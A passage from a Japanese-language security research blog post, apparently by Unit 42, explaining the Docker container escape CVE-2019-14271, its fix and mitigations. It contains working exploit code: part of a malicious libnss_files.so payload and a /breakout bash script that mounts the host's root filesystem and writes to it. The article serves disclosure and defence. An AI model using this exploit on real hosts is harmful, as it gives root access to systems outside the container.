the original libnss_file.so\");\r\n\r\n     if (!fork())\r\n     {\r\n\r\n           \/\/ Child runs breakout\r\n           argv_break[0] = strdup(\"\/breakout\");\r\n           argv_break[1] = NULL;\r\n           execve(\"\/breakout\", argv_break, NULL);\r\n     }\r\n     else\r\n           wait(NULL); \/\/ Wait for child\r\n\r\n     return;\r\n}\r\nbool is_priviliged()\r\n{\r\n     FILE * proc_file = fopen(\"\/proc\/self\/exe\", \"r\");\r\n     if (proc_file != NULL)\r\n     {\r\n           fclose(proc_file);\r\n           return false; \/\/ can open so \/proc exists, not privileged\r\n     }\r\n     return true; \/\/ we're running in the context of docker-tar\r\n}\r\n<\/pre>\n<p>run_at_link\u95a2\u6570\u306f\u307e\u305a\u3001\u81ea\u8eab\u304cdocker-tar\u306e\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3057\u307e\u3059\u3002\u30e9\u30a4\u30d6\u30e9\u30ea\u306f\u5225\u306e\u901a\u5e38\u306e\u30b3\u30f3\u30c6\u30ca\u30d7\u30ed\u30bb\u30b9\u304b\u3089\u3082\u30ed\u30fc\u30c9\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u304b\u3089\u3067\u3059\u3002\u3053\u306e\u78ba\u8a8d\u306b\u306f\u3001\/proc\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306e\u30c1\u30a7\u30c3\u30af\u3092\u4f7f\u3063\u3066\u3044\u307e\u3059\u3002run_at_link\u95a2\u6570\u304cdocker-tar\u306e\u30b3\u30f3\u30c6\u30ad\u30b9\u30c8\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u306a\u3089\u3001\/proc\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u306f\u7a7a\u306b\u306a\u308b\u306f\u305a\u3060\u304b\u3089\u3067\u3059\u3002\/proc\u306eprocfs\u30de\u30a6\u30f3\u30c8\u306f\u3001\u30b3\u30f3\u30c6\u30ca\u306e\u30de\u30a6\u30f3\u30c8\u540d\u524d\u7a7a\u9593\u5185\u306b\u306e\u307f\u5b58\u5728\u3057\u307e\u3059\u3002<\/p>\n<p>\u6b21\u306brun_at_link\u95a2\u6570\u306f\u3001libnss\u306e\u5143\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u60aa\u610f\u306e\u3042\u308b\u3082\u306e\u3068\u5dee\u3057\u66ff\u3048\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3067\u5f8c\u304b\u3089\u5b9f\u884c\u3055\u308c\u308b\u30d7\u30ed\u30bb\u30b9\u304c\u8aa4\u3063\u3066\u60aa\u610f\u306e\u3042\u308b\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u30ed\u30fc\u30c9\u3057\u306a\u304a\u3057\u3066\u3001run_at_link\u95a2\u6570\u3092\u7e70\u308a\u8fd4\u3057\u5b9f\u884c\u3059\u308b\u3053\u3068\u3092\u9632\u3044\u3067\u3044\u307e\u3059\u3002<\/p>\n<p>\u305d\u308c\u304b\u3089\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u5bb9\u6613\u306b\u3059\u308b\u305f\u3081\u306b\u3001run_at_link\u306f\u30b3\u30f3\u30c6\u30ca\u306e\/breakout\u3068\u3044\u3046\u30d1\u30b9\u3067\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u306e\u5b9f\u884c\u3092\u8a66\u307f\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u6b8b\u308a\u306e\u90e8\u5206\u3092\u3001C\u3067\u306f\u306a\u304fbash\u3092\u4f7f\u3063\u3066\u8a18\u8ff0\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3057\u3001\u6b8b\u308a\u306e\u30b3\u30fc\u30c9\u3092run_at_link\u304b\u3089\u5916\u306b\u51fa\u3059\u3053\u3068\u3067\u3001\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u5909\u66f4\u306e\u3064\u3069\u3001\u60aa\u610f\u306e\u3042\u308b\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u518d\u30b3\u30f3\u30d1\u30a4\u30eb\u3059\u308b\u5fc5\u8981\u3082\u306a\u304f\u306a\u308a\u3001\u305f\u3060\/breakout\u306e\u30d0\u30a4\u30ca\u30ea\u3092\u5909\u66f4\u3059\u308b\u3060\u3051\u3067\u3059\u307f\u307e\u3059\u3002<\/p>\n<p>\u4ee5\u4e0b\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8<a href=\"https:\/\/asciinema.org\/a\/HfdKQKFn7Cn67e5QLWm9gzFfT\">\u5b9f\u6f14\u30d3\u30c7\u30aa<\/a>\u3067\u306f\u3001Docker\u30e6\u30fc\u30b6\u30fc\u304c\u3001\u6539\u5909\u6e08\u307flibnss_files.so\u30e9\u30a4\u30d6\u30e9\u30ea\u3092\u542b\u3080\u60aa\u610f\u306e\u3042\u308b\u30a4\u30e1\u30fc\u30b8\u3092\u5b9f\u884c\u3057\u3001\u30b3\u30f3\u30c6\u30ca\u304b\u3089\u30ed\u30b0\u3092\u3044\u304f\u3064\u304b\u30b3\u30d4\u30fc\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u307e\u3059\u3002\u30a4\u30e1\u30fc\u30b8\u5185\u306e\/breakout\u30d0\u30a4\u30ca\u30ea\u306f\u3001\u30db\u30b9\u30c8\u5074\u306e\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u3092\u30b3\u30f3\u30c6\u30ca\u306e\/host_fs\u306b\u30de\u30a6\u30f3\u30c8\u3057\u3001\u30db\u30b9\u30c8\u4e0a\u306e\/evil\u306b\u30e1\u30c3\u30bb\u30fc\u30b8(\"Hello from within the container!\")\u3092\u66f8\u304d\u8fbc\u3080\u3001\u3068\u3044\u3046\u5358\u7d14\u306abash\u30b9\u30af\u30ea\u30d7\u30c8\u3067\u3059\u3002<\/p>\n<div style=\"width: 2060px;\" class=\"wp-video\"><video class=\"wp-video-shortcode\" id=\"video-101093-1\" width=\"2060\" height=\"1208\" preload=\"metadata\" controls=\"controls\"><source type=\"video\/mp4\" src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/exploit_vid.mp4?_=1\" \/><a href=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/exploit_vid.mp4\">https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/exploit_vid.mp4<\/a><\/video><\/div>\n<p><span style=\"font-size: 10pt;\"><em>\u30d3\u30c7\u30aa1 CVE-2019-14271\u3092\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3057\u305fDocker\u304b\u3089\u306e\u30d6\u30ec\u30a4\u30af\u30a2\u30a6\u30c8<\/em><\/span><\/p>\n<p>\u4ee5\u4e0b\u306f\u3001\u3053\u306e\u5b9f\u6f14\u30d3\u30c7\u30aa\u3067\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\/breakout\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u30bd\u30fc\u30b9\u3067\u3059\u3002\u30db\u30b9\u30c8\u306e\u30eb\u30fc\u30c8\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u3078\u306e\u30ea\u30d5\u30a1\u30ec\u30f3\u30b9\u3092\u53d6\u5f97\u3059\u308b\u305f\u3081\u3001\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306f\/proc\u306bprocfs\u3092\u30de\u30a6\u30f3\u30c8\u3057\u3066\u3044\u307e\u3059\u3002docker-tar\u306f\u30db\u30b9\u30c8\u5074\u306ePID\u540d\u524d\u7a7a\u9593\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u307e\u3059\u306e\u3067\u3001\u30de\u30a6\u30f3\u30c8\u3055\u308c\u305fprocfs\u306b\u306f\u30db\u30b9\u30c8\u30d7\u30ed\u30bb\u30b9\u306e\u30c7\u30fc\u30bf\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u305d\u3053\u3067\u3001\u3053\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u3067\u306f\u5358\u306b\u30db\u30b9\u30c8\u5074\u306ePID 1\u306e\u30eb\u30fc\u30c8\u3092\u30de\u30a6\u30f3\u30c8\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<pre class=\"lang:default decode:true \">#!\/bin\/bash\r\n\r\numount \/host_fs &amp;&amp; rm -rf \/host_fs\r\nmkdir \/host_fs\r\n\r\n\r\nmount -t proc none \/proc     # mount the host's procfs over \/proc\r\ncd \/proc\/1\/root              # chdir to host's root\r\nmount --bind . \/host_fs      # mount host root at \/host_fs\r\necho \"Hello from within the container!\" &gt; \/host_fs\/evil\r\n<\/pre>\n<h2>\u4fee\u6b63<\/h2>\n<p><a href=\"https:\/\/github.com\/moby\/moby\/pull\/39612\">\u4fee\u6b63<\/a>\u3067\u306f\u3001\u554f\u984c\u306e\u3042\u308bGo\u30d1\u30c3\u30b1\u30fc\u30b8\u304b\u3089\u4efb\u610f\u306e\u95a2\u6570\u3092\u547c\u3073\u51fa\u3059\u3055\u3044\u306edocker-tar\u306einit\u95a2\u6570\u304c\u4fee\u6b63\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001libnss\u30b3\u30f3\u30c6\u30ca\u306bchroot\u3059\u308b\u524d\u306e\u30e9\u30a4\u30d6\u30e9\u30ea\u3001\u3057\u305f\u304c\u3063\u3066\u30db\u30b9\u30c8\u5074\u306e\u30d5\u30a1\u30a4\u30eb\u30b7\u30b9\u30c6\u30e0\u4e0a\u306e\u30e9\u30a4\u30d6\u30e9\u30ea\u3092docker-tar\u306b\u5f37\u5236\u7684\u306b\u30ed\u30fc\u30c9\u3055\u305b\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101098\" aria-describedby=\"caption-attachment-101098\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-3-cve-2019-14271-fix.png\" rel=\"wpdevart_lightbox\"><img  class=\"wp-image-101098 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-3-cve-2019-14271-fix.png\" alt=\"\u56f33 CVE-2019-14271\u306e\u4fee\u6b63\" width=\"600\" height=\"133\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-3-cve-2019-14271-fix.png 1864w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-3-cve-2019-14271-fix-300x66.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-3-cve-2019-14271-fix-768x170.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-3-cve-2019-14271-fix-1024x226.png 1024w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-3-cve-2019-14271-fix-900x199.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/figure-3-cve-2019-14271-fix-370x82.png 370w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><\/a><figcaption id=\"caption-attachment-101098\" class=\"wp-caption-text\">\u56f33 CVE-2019-14271\u306e\u4fee\u6b63<\/figcaption><\/figure>\n<h2>\u7d50\u8ad6<\/h2>\n<p>\u30db\u30b9\u30c8\u3067\u30eb\u30fc\u30c8\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3067\u304d\u308b\u8106\u5f31\u6027\u306f\u975e\u5e38\u306b\u5371\u967a\u3067\u3059\u3002\u5b9f\u884c\u4e2d\u306eDocker\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u304c\u5f53\u8a72\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u554f\u984c\u306e\u4fee\u6b63\u3092\u542b\u3080\u65b0\u3057\u3044\u30d0\u30fc\u30b8\u30e7\u30f3\u3001<a href=\"https:\/\/docs.docker.com\/engine\/release-notes\/#19031\">19.03.1<\/a>\u307e\u305f\u306f\u305d\u308c\u4ee5\u4e0a\u3067\u3042\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3057\u3066\u304f\u3060\u3055\u3044\u3002\u3053\u306e\u7a2e\u306e\u653b\u6483\u306b\u3088\u308b\u653b\u6483\u5bfe\u8c61\u9818\u57df\u3092\u6e1b\u3089\u3059\u306b\u306f\u3001\u4fe1\u983c\u3067\u304d\u306a\u3044\u30a4\u30e1\u30fc\u30b8\u3092\u5b9f\u884c\u3057\u306a\u3044\u3053\u3068\u3092\u5f37\u304f\u304a\u52e7\u3081\u3057\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e\u307b\u304b\u3001\u3069\u3046\u3057\u3066\u3082root\u304c\u5fc5\u8981\u3067\u306a\u3044\u304b\u304e\u308a\u3001\u30b3\u30f3\u30c6\u30ca\u306f\u975eroot\u30e6\u30fc\u30b6\u30fc\u3068\u3057\u3066\u5b9f\u884c\u3059\u308b\u3053\u3068\u3082\u5f37\u304f\u304a\u52e7\u3081\u3057\u307e\u3059\u3002\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u304c\u5411\u4e0a\u3057\u3001\u30b3\u30f3\u30c6\u30ca\u30a8\u30f3\u30b8\u30f3\u3084\u30ab\u30fc\u30cd\u30eb\u3067\u4eca\u5f8c\u3082\u898b\u3064\u304b\u308b\u306f\u305a\u306e\u4e0d\u5177\u5408\u306e\u591a\u304f\u304c\u3001\u653b\u6483\u8005\u304b\u3089\u60aa\u7528\u3055\u308c\u306b\u304f\u304f\u306a\u308a\u307e\u3059\u3002\u3053\u306eCVE-2019-14271\u306b\u3064\u3044\u3066\u3082\u3001\u30b3\u30f3\u30c6\u30ca\u304c\u975eroot\u30e6\u30fc\u30b6\u30fc\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u308c\u3070\u30e6\u30fc\u30b6\u30fc\u304c\u4fdd\u8b77\u3055\u308c\u307e\u3059\u3057\u3001\u305f\u3068\u3048\u653b\u6483\u8005\u304c\u30b3\u30f3\u30c6\u30ca\u3092\u4fb5\u5bb3\u6e08\u307f\u3067\u3082\u30b3\u30f3\u30c6\u30ca\u306elibnss\u30e9\u30a4\u30d6\u30e9\u30ea\u306f\u30eb\u30fc\u30c8\u304c\u6240\u6709\u3057\u3066\u3044\u308b\u306e\u3067\u8106\u5f31\u6027\u3092\u60aa\u7528\u3067\u304d\u307e\u305b\u3093\u3002\u305d\u308c\u3067\u3082\u7d0d\u5f97\u304c\u3044\u304b\u306a\u3044\u306a\u3089\u3001Ariel Zelivansky\u306b\u3088\u308b<a href=\"https:\/\/unit42.paloaltonetworks.com\/non-root-containers-kubernetes-cve-2019-11245-care\/\">\u3053\u3061\u3089\u306e\u6295\u7a3f<\/a>\u3092\u3054\u4e00\u8aad\u304f\u3060\u3055\u3044\u3002\u975eroot\u3067\u30b3\u30f3\u30c6\u30ca\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u5229\u70b9\u306b\u5f97\u5fc3\u304c\u3044\u304d\u6c17\u304c\u5909\u308f\u308b\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u3002<\/p>\n<p><a href=\"https:\/\/www.paloaltonetworks.com\/cloud-security\">Prisma Cloud<\/a>\u3092\u3054\u5229\u7528\u4e2d\u306e\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001\u6b21\u306e\u6a5f\u80fd\u3067\u3055\u3089\u306b\u540c\u8106\u5f31\u6027\u306e\u8105\u5a01\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<ul>\n<li>Trusted Images\u306b\u3088\u308a\u3001\u958b\u767a\u8005\u306f\u78ba\u5b9f\u306b\u691c\u8a3c\u6e08\u307f\u30fb\u627f\u8a8d\u6e08\u307f\u306e\u30a4\u30e1\u30fc\u30b8\u7528\u30bd\u30fc\u30b9\u3092\u5229\u7528\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/li>\n<li>\u3054\u5229\u7528\u74b0\u5883\u5185\u3067\u5b9f\u884c\u3055\u308c\u3066\u3044\u308b\u8106\u5f31\u306a\u30d1\u30c3\u30b1\u30fc\u30b8\u3092\u542b\u3080\u30b3\u30f3\u30c6\u30ca\u306b\u3064\u3044\u3066\u3001Host Vulnerability Scanning\u30a2\u30e9\u30fc\u30c8(\u30db\u30b9\u30c8\u306e\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3\u30a2\u30e9\u30fc\u30c8)\u306b\u3088\u308a\u3001\u60aa\u7528\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u6700\u3082\u9ad8\u3044CVE\u304c\u5f37\u8abf\u8868\u793a\u3055\u308c\u307e\u3059\u3002\u3053\u308c\u306b\u3088\u308a\u3001\u30b3\u30f3\u30c6\u30ca\u306f\u8106\u5f31\u306a\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3059\u308b\u3053\u3068\u304c\u306a\u304f\u306a\u308a\u3001\u4fee\u6b63\u30d1\u30c3\u30c1\u516c\u958b\u521d\u65e5(\u30ef\u30f3\u30c7\u30a4)\u306b\u767a\u751f\u3059\u308b\u653b\u6483\u3092\u9632\u304e\u307e\u3059\u3002<\/li>\n<li>Prisma Cloud Runtime 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